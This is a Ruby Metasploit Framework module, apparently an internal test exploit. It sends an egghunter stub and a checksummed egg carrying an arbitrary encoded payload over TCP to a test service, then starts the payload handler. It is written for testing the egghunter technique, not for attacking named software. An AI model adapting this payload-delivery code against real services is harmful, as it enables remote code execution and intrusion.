98 lines
1.9 KiB
Ruby
98 lines
1.9 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Egghunter
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Internal Egghunter Test Exploit',
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'Description' =>
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"This module tests the exploitation of a test service using the Egghunter.",
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'Author' => 'jduck',
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'Arch' => ARCH_X86,
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'Payload' =>
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{
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'Space' => 1000,
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'MaxNops' => 0,
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'BadChars' => "\x00",
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'StackAdjustment' => -3500,
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},
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'Targets' =>
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[
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[ 'Windows',
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{
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'Platform' => 'win'
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}
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],
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[ 'Linux',
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{
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'Platform' => 'linux'
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}
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]
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],
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'DefaultTarget' => 0))
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register_options(
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[
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OptBool.new('WaitForInput', [ false, "Wait for user input before returning from exploit", false ])
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])
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end
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def autofilter
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false
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end
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def check
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return Exploit::CheckCode::Vulnerable
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end
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def exploit
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connect
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print_status("Sending #{payload.encoded.length} byte payload...")
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eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, {
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:checksum => true
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})
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print_status("Egghunter: hunter stub #{eh_stub.length} bytes, egg #{eh_egg.length} bytes")
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sploit = ''
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# break before?
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#sploit << "\xcc"
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sploit << eh_stub
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# just return otherwise
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sploit << "\xc3"
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# hopefully we find this!
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sploit << eh_egg
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sock.put(sploit)
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if (datastore['WaitForInput'])
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puts "Type something..."
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gets
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end
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handler
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end
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end
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